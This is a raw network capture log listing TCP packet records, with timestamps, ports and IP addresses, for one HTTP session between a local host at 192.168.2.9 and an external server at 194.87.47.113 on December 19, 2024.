Dec 19, 2024 08:01:00.620310068 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.620310068 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.621145964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.621201992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.621215105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.621258974 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.622086048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.622142076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.622153997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.622159004 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.622209072 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.622984886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.655389071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.655416965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.655453920 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.655494928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.655596972 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.655631065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.655642986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.655687094 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.656471968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.656521082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.656532049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.656554937 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.657449961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.657490015 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.657530069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.657541990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.657589912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.658401966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.658428907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.658441067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.658473015 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.659328938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.659373045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.659380913 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.659389019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.659467936 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.660279989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.660321951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.660336018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.660381079 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.661360025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.661407948 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.661415100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.661429882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.661467075 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.662218094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.662246943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.662259102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.662296057 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.663207054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.663247108 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.663279057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.663292885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.663331032 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.664216042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.664232969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.664246082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.664289951 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.665056944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.665100098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.665111065 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.665112972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.665155888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.666065931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.666134119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.666147947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.666198969 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.666949987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.666994095 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.667017937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.667032003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.667062998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.668072939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.668106079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.668118954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.668154955 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.668814898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.668860912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.668873072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.668874025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.668912888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.669764042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.669806004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.669820070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.669842005 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.670826912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.670854092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.670872927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.670881987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.670906067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.671825886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.671871901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.671885014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.671917915 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.672617912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.672668934 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.672725916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.672739029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.672779083 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.673599958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.673629999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.673640966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.673671007 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.674544096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.674591064 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.674597025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.674611092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.674654007 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.675468922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.675512075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.675523043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.675545931 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.676424026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.676457882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.676470041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.676505089 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.677364111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.677705050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.677757978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.677769899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.677803993 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.678637028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.678730011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.678742886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.678766012 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.679582119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.679649115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.679661989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.679663897 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.679707050 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.680547953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.680593014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.680605888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.680639029 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.681508064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.681534052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.681545973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.681571007 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.681600094 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.682223082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.682476044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.682511091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.682522058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.682559967 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.683459997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.683475018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.683487892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.683496952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.683517933 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.684351921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.687849998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.812036037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.812062025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.812107086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.812119007 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.812283993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.812340975 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.812474966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.812489033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.812705994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.813276052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.813432932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.813446045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.813472033 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.814347982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.814361095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.814397097 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.814481974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.814517975 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.815143108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.815310001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.815360069 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.848182917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.848203897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.848213911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.848261118 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.848409891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.848423958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.848438025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.848459005 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.848480940 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.849474907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.849637985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.849652052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.849689960 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.850339890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.850406885 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.850513935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.850528002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.850564957 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.851421118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.851438046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.851452112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.851490974 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.852430105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.852443933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.852458000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.852483988 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.852499962 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.853327990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.853343964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.853354931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.853404045 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.854137897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.854310989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.854322910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.854363918 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.854383945 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.855170965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.855182886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.855195045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.855223894 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.856034040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.856090069 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.856245995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.856260061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.856295109 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.857011080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.857027054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.857069016 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.857168913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.858172894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.858190060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.858203888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.858232021 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.858350992 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.859023094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.859038115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.859050989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.859090090 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.860069036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.860085011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.860099077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.860122919 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.860145092 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.860898018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.861057997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.861072063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.861100912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.861936092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.861954927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.861968040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.861994028 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.862021923 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.862880945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.863049984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.863064051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.863101959 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.863614082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.863667965 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.863776922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.863790989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.863858938 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.864779949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.864799976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.864813089 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.864837885 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.865724087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.865737915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.865750074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.865763903 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.865782976 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.866532087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.866544962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.866590977 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.866666079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.867506027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.867651939 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.867681026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.867695093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.867727995 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.868515015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.868527889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.868540049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.868562937 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.869499922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.869688034 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.869856119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.869868994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.869923115 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.870021105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.870840073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.870855093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.870866060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.870882034 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.870910883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.871824980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.871840954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.871853113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.871886969 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.872620106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.872634888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.872647047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.872668982 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.872687101 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.873146057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.873191118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.873203993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.873240948 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.874099970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.874134064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.874141932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.874176979 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.875032902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.875113010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.875123978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.875161886 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.875987053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.876034975 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.876087904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.920006990 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.008434057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.008451939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.008505106 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.119954109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.120019913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.123125076 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.124294996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.128736973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.128773928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.128804922 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.170021057 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.243063927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.243088007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.243099928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.243112087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.243125916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.243139029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.243149996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.243165016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.243175983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.243186951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.243200064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.243211985 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.243226051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.243251085 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.243251085 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.243261099 CET	80	49739	194.87.47.113	192.168.2.9
